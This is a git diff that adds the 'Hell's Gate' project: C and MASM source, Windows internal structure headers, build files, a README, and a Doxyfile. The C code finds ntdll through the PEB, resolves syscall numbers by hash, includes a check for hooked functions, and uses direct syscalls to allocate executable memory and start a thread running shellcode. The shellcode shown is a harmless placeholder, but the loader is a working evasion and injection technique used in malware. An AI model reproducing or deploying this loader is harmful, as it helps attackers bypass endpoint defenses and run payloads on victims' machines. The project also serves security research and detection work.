Implementation/HellsGate/HellsGate.vcxproj new file mode 100644 index 0000000..8f10774 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {dc6187cb-d5df-4973-84a2-f92aae90cda9} + HellsGate + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters new file mode 100644 index 0000000..e123f59 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/hellsgate.asm b/Hells Gate/C Implementation/HellsGate/hellsgate.asm new file mode 100644 index 0000000..0234e00 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/hellsgate.asm @@ -0,0 +1,23 @@ +; Hell's Gate +; Dynamic system call invocation +; +; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) + +.data + wSystemCall DWORD 000h + +.code + HellsGate PROC + mov wSystemCall, 000h + mov wSystemCall, ecx + ret + HellsGate ENDP + + HellDescent PROC + mov r10, rcx + mov eax, wSystemCall + + syscall + ret + HellDescent ENDP +end diff --git a/Hells Gate/C Implementation/HellsGate/main.c b/Hells Gate/C Implementation/HellsGate/main.c new file mode 100644 index 0000000..a88faf6 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/main.c @@ -0,0 +1,211 @@ +#pragma once +#include +#include "structs.h" + +/*-------------------------------------------------------------------- + VX Tables +--------------------------------------------------------------------*/ +typedef struct _VX_TABLE_ENTRY { + PVOID pAddress; + DWORD64 dwHash; + WORD wSystemCall; +} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; + +typedef struct _VX_TABLE { + VX_TABLE_ENTRY NtAllocateVirtualMemory; + VX_TABLE_ENTRY NtProtectVirtualMemory; + VX_TABLE_ENTRY NtCreateThreadEx; + VX_TABLE_ENTRY NtWaitForSingleObject; +} VX_TABLE, * PVX_TABLE; + +/*-------------------------------------------------------------------- + Function prototypes. +--------------------------------------------------------------------*/ +PTEB RtlGetThreadEnvironmentBlock(); +BOOL GetImageExportDirectory( + _In_ PVOID pModuleBase, + _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory +); +BOOL GetVxTableEntry( + _In_ PVOID pModuleBase, + _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, + _In_ PVX_TABLE_ENTRY pVxTableEntry +); +BOOL Payload( + _In_ PVX_TABLE pVxTable +); +PVOID VxMoveMemory( + _Inout_ PVOID dest, + _In_ const PVOID src, + _In_ SIZE_T len +); + +/*-------------------------------------------------------------------- + External functions' prototype. +--------------------------------------------------------------------*/ +extern VOID HellsGate(WORD wSystemCall); +extern HellDescent(); + +INT wmain() { + PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); + PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; + if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) + return 0x1; + + // Get NTDLL module + PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); + + // Get the EAT of NTDLL + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; + if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) + return 0x01; + + VX_TABLE Table = { 0 }; + Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) + return 0x1; + + Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) + return 0x1; + + Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) + return 0x1; + + Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) + return 0x1; + + Payload(&Table); + return 0x00; +} + +PTEB RtlGetThreadEnvironmentBlock() { +#if _WIN64 + return (PTEB)__readgsqword(0x30); +#else + return (PTEB)__readfsdword(0x16); +#endif +} + +DWORD64 djb2(PBYTE str) { + DWORD64 dwHash = 0x7734773477347734; + INT c; + + while (c = *str++) + dwHash = ((dwHash << 0x5) + dwHash) + c; + + return dwHash; +} + +BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { + // Get DOS header + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; + if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return FALSE; + } + + // Get NT headers + PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); + if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return FALSE; + } + + // Get the EAT + *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + return TRUE; +} + +BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); + + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { + pVxTableEntry->pAddress = pFunctionAddress; + + // Quick and dirty fix in case the function has been hooked + WORD cw = 0; + while (TRUE) { + // check if syscall, in this case we are too far + if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05) + return FALSE; + + // check if ret, in this case we are also probaly too far + if (*((PBYTE)pFunctionAddress + cw) == 0xc3) + return FALSE; + + // First opcodes should be : + // MOV R10, RCX + // MOV RCX, + if (*((PBYTE)pFunctionAddress + cw) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); + BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); + pVxTableEntry->wSystemCall = (high << 8) | low; + break; + } + + cw++; + }; + } + } + + return TRUE; +} + +BOOL Payload(PVX_TABLE pVxTable) { + NTSTATUS status = 0x00000000; + char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"; + + // Allocate memory for the shellcode + PVOID lpAddress = NULL; + SIZE_T sDataSize = sizeof(shellcode); + HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); + + // Write Memory + VxMoveMemory(lpAddress, shellcode, sizeof(shellcode)); + + // Change page permissions + ULONG ulOldProtect = 0; + HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); + + // Create thread + HANDLE hHostThread = INVALID_HANDLE_VALUE; + HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); + status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + + // Wait for 1 seconds + LARGE_INTEGER Timeout; + Timeout.QuadPart = -10000000; + HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); + status = HellDescent(hHostThread, FALSE, &Timeout); + + return TRUE; +} + +PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { + char* d = dest; + const char* s = src; + if (d < s) + while (len--) + *d++ = *s++; + else { + char* lasts = s + (len - 1); + char* lastd = d + (len - 1); + while (len--) + *lastd-- = *lasts--; + } + return dest; +} \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/structs.h b/Hells Gate/C Implementation/HellsGate/structs.h new file mode 100644 index 0000000..7ed8387 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/structs.h @@ -0,0 +1,337 @@ +#pragma once +#include + +/*-------------------------------------------------------------------- + STRUCTURES +--------------------------------------------------------------------*/ +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; \ No newline at end of file diff --git a/Hells Gate/C Implementation/README.md b/Hells Gate/C Implementation/README.md new file mode 100644 index 0000000..a602aeb --- /dev/null +++ b/Hells Gate/C Implementation/README.md @@ -0,0 +1,21 @@ +## Hell's Gate ## + +Original C Implementation of the Hell's Gate VX Technique +
+
+Link to the paper: https://vxug.fakedoma.in/papers/hells-gate.pdf +
PDF also included in this repository. +
+
+Authors: +* Paul Laîné (@am0nsec) +* smelly__vx (@RtlMateusz) +
+ +### Update ### +Please note: +* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years; +* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique; +* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and +* Any recommendation and/or ideas will always be welcome, just open an issue in this repository. + diff --git a/Hells Gate/C# Implementation/Doxyfile b/Hells Gate/C# Implementation/Doxyfile new file mode 100644 index 0000000..c3cbfb1 --- /dev/null +++ b/Hells Gate/C# Implementation/Doxyfile @@ -0,0 +1,385 @@ +# Doxyfile 1.8.18 + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- +DOXYFILE_ENCODING = UTF-8 +PROJECT_NAME = "Shap Hell's Gate" +PROJECT_NUMBER = 1.0 +PROJECT_BRIEF = "C# Implementation of the Hell's Gate VX Technique" +PROJECT_LOGO = +OUTPUT_DIRECTORY = ./doc/ +CREATE_SUBDIRS = YES +ALLOW_UNICODE_NAMES = NO +OUTPUT_LANGUAGE = English +OUTPUT_TEXT_DIRECTION = None +BRIEF_MEMBER_DESC = YES +REPEAT_BRIEF = YES +ABBREVIATE_BRIEF = "The $name class" \ + "The $name widget" \ + "The $name file" \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the +ALWAYS_DETAILED_SEC = NO +INLINE_INHERITED_MEMB = NO +FULL_PATH_NAMES = YES +STRIP_FROM_PATH = +STRIP_FROM_INC_PATH = +SHORT_NAMES = NO +JAVADOC_AUTOBRIEF = NO +JAVADOC_BANNER = NO +QT_AUTOBRIEF = NO +MULTILINE_CPP_IS_BRIEF = NO +INHERIT_DOCS = YES +SEPARATE_MEMBER_PAGES = NO +TAB_SIZE = 4 +ALIASES = +OPTIMIZE_OUTPUT_FOR_C = NO +OPTIMIZE_OUTPUT_JAVA = NO +OPTIMIZE_FOR_FORTRAN = NO +OPTIMIZE_OUTPUT_VHDL = NO +OPTIMIZE_OUTPUT_SLICE = NO +EXTENSION_MAPPING = +MARKDOWN_SUPPORT = YES +TOC_INCLUDE_HEADINGS = 5 +AUTOLINK_SUPPORT = YES +BUILTIN_STL_SUPPORT = NO +CPP_CLI_SUPPORT = NO +SIP_SUPPORT = NO +IDL_PROPERTY_SUPPORT = YES +DISTRIBUTE_GROUP_DOC = NO +GROUP_NESTED_COMPOUNDS = NO +SUBGROUPING = YES +INLINE_GROUPED_CLASSES = NO +INLINE_SIMPLE_STRUCTS = NO +TYPEDEF_HIDES_STRUCT = NO +LOOKUP_CACHE_SIZE = 0 +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- +EXTRACT_ALL = YES +EXTRACT_PRIVATE = YES +EXTRACT_PRIV_VIRTUAL = YES +EXTRACT_PACKAGE = YES +EXTRACT_STATIC = YES +EXTRACT_LOCAL_CLASSES = YES +EXTRACT_LOCAL_METHODS = NO +EXTRACT_ANON_NSPACES = YES +HIDE_UNDOC_MEMBERS = NO +HIDE_UNDOC_CLASSES = NO +HIDE_FRIEND_COMPOUNDS = NO +HIDE_IN_BODY_DOCS = NO +INTERNAL_DOCS = NO +CASE_SENSE_NAMES = YES +HIDE_SCOPE_NAMES = NO +HIDE_COMPOUND_REFERENCE= NO +SHOW_INCLUDE_FILES = YES +SHOW_GROUPED_MEMB_INC = NO +FORCE_LOCAL_INCLUDES = NO +INLINE_INFO = YES +SORT_MEMBER_DOCS = YES +SORT_BRIEF_DOCS = NO +SORT_MEMBERS_CTORS_1ST = NO +SORT_GROUP_NAMES = NO +SORT_BY_SCOPE_NAME = NO +STRICT_PROTO_MATCHING = NO +GENERATE_TODOLIST = YES +GENERATE_TESTLIST = YES +GENERATE_BUGLIST = YES +GENERATE_DEPRECATEDLIST= YES +ENABLED_SECTIONS = +MAX_INITIALIZER_LINES = 30 +SHOW_USED_FILES = YES +SHOW_FILES = YES +SHOW_NAMESPACES = YES +FILE_VERSION_FILTER = +LAYOUT_FILE = +CITE_BIB_FILES = +#--------------------------------------------------------------------------- +# Configuration options related to warning and progress messages +#--------------------------------------------------------------------------- +QUIET = NO +WARNINGS = YES +WARN_IF_UNDOCUMENTED = YES +WARN_IF_DOC_ERROR = YES +WARN_NO_PARAMDOC = NO +WARN_AS_ERROR = NO +WARN_FORMAT = "$file:$line: $text" +WARN_LOGFILE = +#--------------------------------------------------------------------------- +# Configuration options related to the input files +#--------------------------------------------------------------------------- +INPUT = . +INPUT_ENCODING = UTF-8 +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.idl \ + *.ddl \ + *.odl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.cs \ + *.d \ + *.php \ + *.php4 \ + *.php5 \ + *.phtml \ + *.inc \ + *.m \ + *.markdown \ + *.md \ + *.mm \ + *.dox \ + *.doc \ + *.txt \ + *.py \ + *.pyw \ + *.f90 \ + *.f95 \ + *.f03 \ + *.f08 \ + *.f18 \ + *.f \ + *.for \ + *.vhd \ + *.vhdl \ + *.ucf \ + *.qsf \ + *.ice +RECURSIVE = YES +EXCLUDE = +EXCLUDE_SYMLINKS = NO +EXCLUDE_PATTERNS = +EXCLUDE_SYMBOLS = +EXAMPLE_PATH = +EXAMPLE_PATTERNS = * +EXAMPLE_RECURSIVE = NO +IMAGE_PATH = +INPUT_FILTER = +FILTER_PATTERNS = +FILTER_SOURCE_FILES = NO +FILTER_SOURCE_PATTERNS = +USE_MDFILE_AS_MAINPAGE = +#--------------------------------------------------------------------------- +# Configuration options related to source browsing +#--------------------------------------------------------------------------- +SOURCE_BROWSER = YES +INLINE_SOURCES = YES +STRIP_CODE_COMMENTS = YES +REFERENCED_BY_RELATION = YES +REFERENCES_RELATION = NO +REFERENCES_LINK_SOURCE = YES +SOURCE_TOOLTIPS = YES +USE_HTAGS = NO +VERBATIM_HEADERS = YES +CLANG_ASSISTED_PARSING = NO +CLANG_OPTIONS = +CLANG_DATABASE_PATH = +#--------------------------------------------------------------------------- +# Configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- +ALPHABETICAL_INDEX = YES +COLS_IN_ALPHA_INDEX = 5 +IGNORE_PREFIX = +#--------------------------------------------------------------------------- +# Configuration options related to the HTML output +#--------------------------------------------------------------------------- +GENERATE_HTML = YES +HTML_OUTPUT = html +HTML_FILE_EXTENSION = .html +HTML_HEADER = +HTML_FOOTER = +HTML_STYLESHEET = +HTML_EXTRA_STYLESHEET = +HTML_EXTRA_FILES = +HTML_COLORSTYLE_HUE = 220 +HTML_COLORSTYLE_SAT = 100 +HTML_COLORSTYLE_GAMMA = 80 +HTML_TIMESTAMP = YES +HTML_DYNAMIC_MENUS = YES +HTML_DYNAMIC_SECTIONS = NO +HTML_INDEX_NUM_ENTRIES = 100 +GENERATE_DOCSET = NO +DOCSET_FEEDNAME = "Doxygen generated docs" +DOCSET_BUNDLE_ID = org.doxygen.Project +DOCSET_PUBLISHER_ID = org.doxygen.Publisher +DOCSET_PUBLISHER_NAME = Publisher +GENERATE_HTMLHELP = NO +CHM_FILE = +HHC_LOCATION = +GENERATE_CHI = NO +CHM_INDEX_ENCODING = +BINARY_TOC = NO +TOC_EXPAND = NO +GENERATE_QHP = NO +QCH_FILE = +QHP_NAMESPACE = org.doxygen.Project +QHP_VIRTUAL_FOLDER = doc +QHP_CUST_FILTER_NAME = +QHP_CUST_FILTER_ATTRS = +QHP_SECT_FILTER_ATTRS = +QHG_LOCATION = +GENERATE_ECLIPSEHELP = NO +ECLIPSE_DOC_ID = org.doxygen.Project +DISABLE_INDEX = NO +GENERATE_TREEVIEW = YES +ENUM_VALUES_PER_LINE = 4 +TREEVIEW_WIDTH = 250 +EXT_LINKS_IN_WINDOW = NO +HTML_FORMULA_FORMAT = png +FORMULA_FONTSIZE = 10 +FORMULA_TRANSPARENT = YES +FORMULA_MACROFILE = +USE_MATHJAX = NO +MATHJAX_FORMAT = HTML-CSS +MATHJAX_RELPATH = https://cdn.jsdelivr.net/npm/mathjax@2 +MATHJAX_EXTENSIONS = +MATHJAX_CODEFILE = +SEARCHENGINE = YES +SERVER_BASED_SEARCH = NO +EXTERNAL_SEARCH = NO +SEARCHENGINE_URL = +SEARCHDATA_FILE = searchdata.xml +EXTERNAL_SEARCH_ID = 